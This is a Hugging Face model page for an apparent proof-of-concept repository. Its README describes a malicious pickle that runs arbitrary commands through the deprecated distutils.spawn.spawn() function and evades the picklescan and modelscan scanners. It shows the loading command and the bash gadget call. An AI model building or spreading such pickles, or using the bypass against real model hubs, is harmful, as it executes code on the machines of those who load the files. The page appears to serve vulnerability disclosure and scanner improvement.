Downloads · 30 days
0
xiaoyaoes/pickle-bypass-distutils-spawn-poc
pickle-bypass-distutils-spawn-poc is a machine learning model from xiaoyaoes. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
RCE via deprecated stdlib distutils.spawn.spawn()
Downloads · 30 days
0
Access
Public
Updated Jun 12, 2026
Repo size
73 B
Likes
0
Public
Click a slice to open those files.
Other1.5 KB · 47%
From the Hugging Face model README
RCE via deprecated stdlib distutils.spawn.spawn()
Bypasses both picklescan v1.0.4 and modelscan v0.8.8.
The deprecated distutils.spawn.spawn() function internally calls subprocess.Popen(cmd).wait(), executing arbitrary commands. Neither scanner includes distutils.spawn in their unsafe modules list.
python3 -c "import pickle; pickle.load(open('malicious.pkl', 'rb'))"
# /tmp/MFV_PWNED will be created
distutils.spawn (stdlib, deprecated since Python 3.10, removed in 3.12)distutils.spawn.spawn()distutils.spawn.spawn(['bash', '-c', 'your_command_here'])distutils.spawn is distinct from distutils.file_util (which is in picklescan's blocklist).